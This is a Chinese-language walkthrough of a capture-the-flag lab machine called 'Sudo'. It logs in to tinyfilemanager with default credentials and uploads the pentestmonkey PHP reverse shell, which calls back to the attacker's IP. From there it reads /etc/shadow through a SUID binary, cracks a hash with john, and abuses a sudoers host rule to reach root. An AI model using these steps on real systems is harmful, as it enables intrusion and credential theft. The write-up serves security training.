20250711_Sudo 靶机复盘

target:192.168.43.20

外部打点 (文件上传)

nmap扫一下,80,22 开放

扫目录,发现 README.md

复制代码
[17:04:30] 200 -  664B  - /Dockerfile                                       
[17:04:38] 200 -   34KB - /LICENSE                                          
[17:04:48] 200 -    5KB - /README.md                                        
[17:04:50] 403 -  278B  - /server-status/                                   
[17:04:50] 403 -  278B  - /server-status                                    
[17:04:55] 200 -    4KB - /tinyfilemanager.php 

Default username/password: **admin/admin@123** and **user/12345**.

得到账号密码 ==> admin:admin@123

进入 web 界面,成功登录

登录后进入文件上传功能,上传 php-reverse-shell.php,攻击机开监听 nc -lvnp 8999

浏览器访问 http://192.168.43.20/php-reverse-shell.php 成功反弹shell

复制代码
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.43.57';  // CHANGE THIS
$port = 8999;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
...
...

权限提升 (文件读取和sudo配置)

得到 www-data 用户

进入/home/eecho,得到 user.txt,即 flag1

上传 linpeas ,全局扫描可疑点

也可以 find / -perm -4000 2>/dev/null 查找具有 suid 位的文件

找到 /usr/bin/read_file 这个特殊的可执行文件

复制代码
-rwsr-sr-x 1 root root 17528 Jul  9 05:01 /usr/bin/read_file

查看帮助

复制代码
Usage: read_file -f <filepath>
Options:
  -h         Show this help message
  -f <file>  Specify the file to view (must be under /etc)

Security restrictions:
  - File path must start with /etc/
  - Symbolic links and path traversal are blocked
  - Only regular files can be read

也就是可以读取 /etc 下的文件

直接读取 /etc/shadow 和 /etc/soduers

拿到加密后的 root 和 eecho 的密码,以及 soduers 配置

复制代码
eecho:$6$mL.9/fVsBqItNR..$GyJfKOjLcovjApxygZ79CjKcqJmJ37jC8y9KeLq81fLAnNCYVP1Nw9d8Dp9pZi/l3CWJ3PHL1l/Hld3sFmZoQ.:20278:0:99999:7:::

爆破 eecho 密码

复制代码
john $6$mL.9/fVsBqItNR..$GyJfKOjLcovjApxygZ79CjKcqJmJ37jC8y9KeLq81fLAnNCYVP1Nw9d8Dp9pZi/l3CWJ3PHL1l/Hld3sFmZoQ.

得到 eecho:alexis15

ssh 连接成功

刚才 sudoers 文件内容如下

复制代码
Defaults	env_reset
Defaults	mail_badpass
Defaults	secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root	ALL=(ALL:ALL) ALL

# Allow members of group sudo to execute any command
%sudo	ALL=(ALL:ALL) ALL
eecho Dashazi = NOPASSWD:ALL
# See sudoers(5) for more information on "@include" directives:

即 eecho 可以在主机 Dasahzi 上执行任意命令

复制代码
eecho@Sudo:~$ sudo -i -h Dashazi
sudo: unable to resolve host Dashazi: Name or service not known
root@Sudo:~# id
uid=0(root) gid=0(root) groups=0(root)
root@Sudo:~# ls
root.txt
root@Sudo:~# cat root.txt 
flag{root}
root@Sudo:~# 

sudo -h 指定主机,直接切换为 root

结束

总结

首先目录爆破翻配置文件找到默认用户名密码,登录

然后在文件上传点上反弹shell马

进到 home 查看用户

查找到 SUID 位文件 read_file,读取敏感文件 /etc/shadow,/etc/sudoers

爆破加密的密码

成功切换eecho用户后,指定主机名 sudo -i 切换为 root
sudo -i -h Dashazi

相关推荐
用户962377954482 小时前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机5 小时前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机5 小时前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954487 小时前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star7 小时前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户9623779544810 小时前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
chlk1231 天前
Linux文件权限完全图解:读懂 ls -l 和 chmod 755 背后的秘密
linux·操作系统
舒一笑1 天前
Ubuntu系统安装CodeX出现问题
linux·后端
改一下配置文件1 天前
Ubuntu24.04安装NVIDIA驱动完整指南(含Secure Boot解决方案)
linux
深紫色的三北六号2 天前
Linux 服务器磁盘扩容与目录迁移:rsync + bind mount 实现服务无感迁移(无需修改配置)
linux·扩容·服务迁移